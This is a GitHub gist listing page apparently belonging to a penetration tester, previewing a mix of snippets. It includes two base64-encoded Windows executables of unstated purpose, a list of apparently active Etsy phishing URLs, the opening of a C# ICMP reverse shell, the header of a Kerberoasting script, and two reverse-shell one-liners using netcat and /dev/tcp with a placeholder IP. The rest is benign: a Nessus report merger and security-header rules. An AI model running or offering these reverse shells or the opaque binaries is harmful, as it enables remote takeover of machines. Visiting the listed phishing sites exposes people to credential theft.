Skip to content

Instantly share code, notes, and snippets.

This file has been truncated, but you can view the full file.
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
@avarx
avarx / urls.txt
Created September 6, 2023 10:59
CURRENTLY ACTIVE ETSY PHISHING SITES
http://etsy.id04313.com/
http://etsy.id04921.com/
http://etsy.id14927.com/
http://etsy.id17038.com/
http://etsy.id34507.com/
http://etsy.id49026.com/
http://etsy.id53271.com/
http://etsy.id61468.com/
http://etsy.id62701.com/
http://etsy.id62930.com/
@avarx
avarx / icmpshell.cs
Created January 18, 2022 14:45 — forked from 3xocyte/icmpshell.cs
ICMP reverse shell (icmpsh compatible)
using System;
using System.IO;
using System.Text;
using System.Net.NetworkInformation;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;
using System.Collections.ObjectModel;
// .NET ICMP reverse shell client with PowerShell runspace by @3xocyte
<#
Kerberoast.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Note: the primary method of use will be Invoke-Kerbertoast with
various targeting options.
@avarx
avarx / merge.py
Created March 2, 2020 06:51 — forked from e0x70i/merge.py
Fast Nessus Merging Script
# Based on https://gist.github.com/mastahyeti/2720173
# Updated for speed by: Kevin Dick, Tevora
import xml.etree.cElementTree as etree
import shutil
import os
import argparse
from sets import Set
parser = argparse.ArgumentParser(description='Merge multiple nessus files into one')
nc -e /bin/sh IP 443
bash -i >& /dev/tcp/IP/443 0>&1
@avarx
avarx / shishing
Last active March 22, 2018 14:58
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Fill up phishers' DB
def main():
""" Main program """
# Coming...
return 0
if __name__ == "__main__":
@avarx
avarx / .htaccess
Created March 12, 2018 14:30
securityheaders.io
###################
# START SEC Headers (https://securityheaders.io/)
###################
# HTTP Strict Transport Security
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
# Content Security Policy
Header always set Content-Security-Policy "default-src https: data: 'unsafe-inline' 'unsafe-eval'"
# Xss-Protection